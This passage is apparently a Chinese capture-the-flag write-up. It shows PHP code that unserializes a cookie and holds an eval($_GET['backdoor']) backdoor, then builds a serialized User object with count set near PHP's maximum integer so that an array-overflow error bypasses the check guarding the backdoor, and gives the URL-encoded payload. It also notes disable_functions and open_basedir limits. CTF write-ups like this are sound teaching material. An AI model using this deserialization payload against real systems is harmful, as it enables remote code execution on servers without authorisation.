知识点
解题
源码:
//add_api.php
if($user=unserialize($_COOKIE["data"])){
$count[++$user->count]=1;
if($count[]=1){
$user->count+=1;
setcookie("data",serialize($user));
}else{
//eval($_GET["backdoor"]);
}
}
有eval($_GET["backdoor"])
,但是要绕过if($count[]=1)
的判断才能使用
这里使用数组溢出,数组最大长度是9223372036854775807
,超出这个长度就会出错。
构造可利用的序列化字符串:
<?php
class User{
public $count = 9223372036854775806; //注意是 9223372036854775806 而不是 7
}
urlencode(serialize(new User()));
?>
结果:
O%3A4%3A%22User%22%3A1%3A%7Bs%3A5%3A%22count%22%3Bi%3A9223372036854775806%3B%7D
成功绕过写入命令:
在phpinfo()页面
中发现了很多disable_functions
,过滤了不少函数:
也限制了访问目录:
open_basedir 将PHP所能打开的文件限制在指定的目录树中,包括文件本身。当程序要使用例如fopen()或file_get_contents() 打开一个文件时,这个文件的位置将会被检查。当文件在指定的目录树之外,程序将拒绝打开。